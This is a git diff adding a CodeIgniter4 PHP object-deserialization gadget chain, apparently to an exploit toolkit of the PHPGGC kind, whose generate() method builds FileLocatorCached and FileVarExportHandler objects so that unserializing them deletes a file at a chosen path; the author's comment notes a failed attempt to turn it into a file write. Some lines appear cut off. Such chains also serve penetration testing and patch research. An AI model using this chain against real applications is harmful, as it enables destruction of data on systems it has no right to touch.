diff --git a/gadgetchains/CodeIgniter4/FD/3/chain.php b/gadgetchains/CodeIgniter4/FD/3/chain.php new file mode 100644 index 00000000..a26ce77b --- /dev/null +++ b/gadgetchains/CodeIgniter4/FD/3/chain.php @@ -0,0 +1,18 @@ + \'\',);" It is also possible to choose a string to write inside the array (" \'\',);"), but I did not find a way to execute it. Thus, I decided to push it as a FD, and not as a FW.'; + + public function generate(array $parameters) + { + $obj = new \CodeIgniter\Autoloader\FileLocatorCached($parameters['remote_path']); + $obj->cacheHandler = new \CodeIgniter\Cache\FactoriesCache\FileVarExportHandler(); + return $obj; + } +} \ No newline at end of file diff --git a/gadgetchains/CodeIgniter4/FD/3/gadgets.php b/gadgetchains/CodeIgniter4/FD/3/gadgets.php new file mode 100644 index 00000000..feaa7974 --- /dev/null +++ b/gadgetchains/CodeIgniter4/FD/3/gadgets.php @@ -0,0 +1,25 @@ +cacheKey = $remote_path; + } + } +} \ No newline at end of file